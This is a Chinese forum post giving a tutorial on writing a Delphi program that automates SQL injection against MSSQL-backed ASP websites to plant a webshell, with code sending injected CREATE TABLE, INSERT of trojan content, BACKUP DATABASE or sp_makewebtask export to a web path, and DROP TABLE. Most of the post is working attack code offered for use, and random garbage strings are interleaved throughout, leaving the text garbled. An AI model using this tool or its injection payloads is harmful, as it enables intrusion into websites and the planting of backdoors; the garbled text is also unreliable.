- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >一.通过SQL注入得到WEBSHELL的原理:
% k: e. \7 y' y j( |4 q) aN.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
1 _ Y8 c# ^) A z0 y K分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 2 Q. s% k, E6 ^% ^
再来看看CZY的方法吧。 2 H& q2 Z9 p+ v! _' k
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
: o$ t6 L8 \- \# m- E9 [以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 ) {, Z2 o* ~5 y8 t
二.利用DELPHI去实现功能的前言 % {) C! X" y8 |' ^- X* r# v8 e) r
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 6 a7 R% v0 ?& q8 O5 b. }5 [
0 P: O2 p( s$ V7 |! b% s4 ^ {三.如何利用DELPHI得到WEBSHELL。
$ _: q- O% d% n6 g程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
& t3 @/ s3 a( B' n) I/ w7 L首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
9 F3 P' P* B# t/ O3 v* B% Z4 [8 J0 P+ o; ]6 g' e" L
7 c/ |1 }7 [; f+ v4 i* [
0 [9 C b0 z1 @ B! m( g c现在来写程序了。 ) c+ G. a$ R% i" h" \) q. S0 J
我们首先定义一个RECORD。
$ y) ?9 _7 b3 r+ b; ?如下:$ j+ m- L. Z! f, {
Type ' V( A% ]4 q6 [
SetOption = Record & W8 Z4 j9 R" t D' r# T# _
TableName : String; //用来保存要创建的表名. / u" Y4 i7 w. Q9 D% B5 ^/ T7 m
FieldName : String; //用来保存要创建的字段名. 9 \; z6 t6 f$ A" Z W! W
FiledType : String; //用来保存创建的字段名类型.
6 s4 r1 s2 Q* _8 R3 q( ]End;
1 ^+ R0 _2 j- g' Y a/ |* x& \FiledType字段类型的值是以下类型的一种: 9 |5 }; V0 K% c) ]$ o6 y1 Q7 C/ _
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
0 d, L/ z4 I5 o' w! GSmallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. K% r" |( }: k3 o; s
再定义一个全局变量: 1 u7 v5 T7 Y0 R4 y) r1 @
Var # b5 a: B" E- K" ^( L3 T5 h7 ?
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
. K) O" ]2 g2 h. _& {好了。在表单创建的过程中,我们为RECORD记录输入默认值.
2 V4 D- u$ z3 R" E0 f; k: @2 n代码如下: 8 m% U# \9 p3 ]* i0 t' N
procedure TMainForm.FormCreate(Sender: TObject);
# R- k7 v; |2 M* U: U, B! Wbegin / P: H! D7 b, t. G
sOption.TableName :='cyfd'
6 w) s" K, l' ?- W6 D5 T; `. J- {sOption.FieldName :='gmemo'
4 `( d" Z, b6 T0 UsOption.FiledType :='text'
6 J$ T& i* r9 m X/ O* G5 `end;
- A0 H# H$ a; j现在我们添加开始执行命令的代码。
2 D" a( |+ g) c' E- w* ` W' v先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. : }4 o7 H& G: \9 r. ~, o, ?
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
6 E& m* |' U. T6 f在程序开始执行前,我们得先检查一下用户的输入
; b' l. s' Z, Y$ M9 `" ^1 o定义一个Checkinput函数.
5 u4 h3 E3 @6 }" w如下:
m: |: N( o! z1 d* {$ A) [Function CheckInput : Boolean; * o+ U- S; G' A
Begin / k* i4 j1 L/ ?9 B7 o# ]! Q
Result := False;
f6 j3 D1 P# o! cif Trim(urlet.Text) = '' then
' }. q% x; k1 R) I8 |( cBegin / X x- b9 z% w& Z4 L
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
# l5 s2 r' q, `; g7 tExit; / t* V6 N- a) Z- ?9 T+ t
End;
/ `# w3 ^2 d8 u3 ^$ M$ v8 {if Trim(ShellPathET.Text) = '' then + l5 F# ^$ [$ e0 n* ~
Begin ! t4 A! U" J4 e& o
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); , r A3 J0 d' H( d8 X
Exit; " m, G3 z& A4 k
End; / @- m, Q' M2 u- ]/ x, k
IF DefBDoor.Checked then y( a4 D$ r# t$ v2 x& A \
Begin
! Y# ~1 @/ ^% t3 Z2 \7 Dif Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
5 |# \1 x. `8 ?Begin 1 P u3 V& f4 ]7 w7 S
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); / x5 Y& M' N( w/ t' X0 o/ J- h; J
Exit; 0 R3 |) d" J/ M
End;
n# e& ]( P" ^7 `' b7 u$ W0 X, WEnd
: [7 q% h4 R8 b' T8 IElse }; ~( [3 r$ d7 w, D4 `+ A8 W
if Not FileExists(CustomBdoorET.Text) then 0 D/ @0 P6 w6 G8 D+ _; a, E1 `
Begin
0 _( L: \) R% X9 ?3 w, F6 j5 eApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); ! f5 |! p5 f" e3 c9 x% y) U! h: n# Y
Exit; $ e/ C; B0 w6 [6 {( s
End; ! F6 w% \7 w; Q- h' d- i: N% s
Result := True; , Y+ H R% \) E* i
End;
9 v3 r' X3 q, V( i: |( u在最开始加入:
: q: J p- Z0 u. g) O" c! WIF Not CheckInput then Exit; //如果输入不合法就退出过程.
3 k5 U/ v9 @; v* P. r6 i D: F好了,如果用户输入没什么错,我们就来下面的代码。 ' r" ^ a( U/ m4 i- I% ^
首先我们把IsStop设为假。创建BdoorList。 $ @- F: s# k6 G: x: a }/ Y$ f
BDoorList := TstringList.Create; & d) N7 i* p; U+ I# P" `
再加木马内容到BDoorlist. / b& B% z8 ]& E; o: A8 H5 X) x
BDoorList.LoadFromFile(CustomBdoorET.text);
# G% [4 R4 E' W6 M$ [8 o* |好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 : z& R6 y, U) `* D, ~
代码如下:
5 O2 x" @1 m' N( @& t* bBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
( N) J- p9 d: |5 E+ ?% _. [BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
5 t' K8 u7 `; H# K Q6 o接下来.我们就提交建表的功能了.
5 c" i( |1 E( s0 n) T& BMemo.Lines.Add('建表...');
6 X6 \' Y. @2 |8 x8 LMemo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
( j4 g0 \. y n! ?6 l! p/ `5 C这样我们就创建了一个表。然后.我们向表中加记录: ; H1 m7 u7 c4 [
代码如下: 8 L N$ Y& `( ^
Memo.Lines.Add('加数据...');
* v: L- X) S* |0 W+ V J( {Memo.Lines.Add(''); % m4 W9 a) U& Q5 D+ L
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
0 l4 E/ ?' ?% L4 vBegin 3 U$ ^# _4 q, D
IF IsStop then //这里如果点了停止按纽程序将终止任务. 9 ]' c w' [# z0 w
Begin
& w- i% m" Z. |9 Q. H3 dBDoorList.Free;
- y! r) |9 |' G* ~8 HExit;
( e" [# Y4 Z3 g2 }7 K% V1 WEnd; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); ' m2 U* c2 L y5 c j) o
Memo.Lines.Add('Add Line '+Inttostr(i+1)); & @$ w) P$ y( c2 Z. e4 J
End; ' R. r6 ]6 J p. _2 \4 H0 @
现在就是导出数据生成木马了.
4 s N$ c4 F4 s/ L2 v5 M+ dMemo.Lines.Add('导出数据...');
. p& V7 `& R$ `! }1 w. g7 UMemo.Lines.Add(''); 8 x9 l/ Z1 m+ Q f2 u
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令. 4 v. I8 ^0 C& \) E- s5 k
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') 3 M/ g: O: K! X2 L* \+ V
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); % t+ @: ?0 ~+ p# f
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
8 Q' w2 q, R. ]这样我们的任务就完成了。下面来释放变量.
8 {) a) D4 {! l: A( K7 GBDoorList.Free; $ a; O- W4 ? @" i( b2 R r9 m
再来向停止按纽中添加点击事件:
) }1 l) b7 |8 Z+ R% m1 C8 b( d% j6 X一行代码就行了:IsStop := True; * ]+ P% f2 b$ `" u$ D) _# ]$ h
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
4 K7 L) y6 ?9 J1 R: z8 A" g设置表单中先引用主表单.然后在界面中添加二个EDIT控件: 3 {# `7 H7 y) O+ B8 Y
第一个名称为:TableNameET //保用户输入的存临时表 ; [" _0 \- n! x
第二个名称为:FieldNameET //用来保存用户输入的字段名. " I( H' p1 G9 c# ]4 [' h# V
再添加一个Combobox //用来保存用户所选的字段类型值. 5 `" o; |* k. l, F* Z# r6 n
名称:FieldTypeCombox , ~" d3 `$ ]0 f" }6 }
OK.界面如下:
2 ?4 Y: {$ p; ~ R( d8 q$ L1 B6 k! S( e% M
代码如下:
4 z I1 y$ @$ `( I定义一个过程,主表单好调用这个设置。
3 |& q& w: Q! U+ p" cProcedure ShowSet;
1 S8 y+ T, q# l2 ~2 o4 @* ]0 lBegin 2 }- G& W R+ k' L
Application.CreateForm(TSetForm,SetForm);
" o4 Y" Y7 }8 u6 h$ b/ tWith SetForm do 0 @+ Z6 j, t& v+ Q& J
Begin 9 I$ F! | g' Z* W( G& C- r, I
TableNameET.Text := sOption.TableName;
' a* \7 y5 g& z( s+ P" \) q3 O" TFieldNameET.Text := sOption.FieldName;
4 ^' X. v. g- a: {6 U/ M! ?FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); % M( D0 | b! c
End;
: K" k5 g/ N$ U& \, oSetForm.ShowModal; # Z( o7 N6 O8 w; R% B
SetForm.Free; . @6 ~# }4 a; i
End;
?) u# b3 I9 v. D6 v4 t. t在主表单中设置的点击事件中添加上showset过程就行了。
2 K+ w/ M# e S$ c2 Z7 g( N% W- f1 F下面就是点击确定的代码了。 + f2 ~" B6 i h4 ]- z4 S
IF CheckInput then
& U5 Y. g f, U2 l) T6 ^Begin
: D$ P6 v9 N. I: O$ Y8 `; ^8 e7 YsOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. - c% W7 T6 y- ~& U5 f
sOption.FieldName := Trim(FieldNameET.Text);
Y% N6 x3 Y5 r2 [4 O3 VsOption.FiledType := FieldTypeCombox.Text;
1 Y6 t. u. W7 a+ a; R* GClose; 3 |' Y! f0 G; I: C8 p
End; ; O% ^3 Z4 \& ~$ ?, n4 S
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 3 H' F- ?3 I7 F- [) J. a
代码如下: ; J) [0 B3 M' D1 u
Function CheckInput : Boolean;
3 T. {" G; @2 T2 V" D. }Begin - j" s" o( N: |+ B2 r: b
Result := False;
7 {$ T; {9 i1 ?IF Trim(TableNameET.Text)='' then
6 x% ?: B3 A3 N6 W! Z% [& t' ?Begin & g( R* |* @" p" _
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
' `8 {, U _6 L+ R# ?+ E" Q' [+ `Exit; " \3 X- b. o. V# X8 K% e/ A
End; # x! Z- |. }7 \* f( c/ k0 z9 V
IF Trim(FieldNameET.Text)='' then $ \/ z% C% b/ u
Begin
' G. B& m9 M" s5 _) uApplication.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); ; ]+ Z7 T6 `: y+ O. `9 ~
Exit;
% P( Q. Y, C* D5 n; Z' yEnd; , C4 ^- M3 `, r/ B* r! J
Result := True;
& Z* s; D4 |' q' z) H# `End; * Y* | o* |. h" e f! w
到这里程序就完了。</P> |
zan
|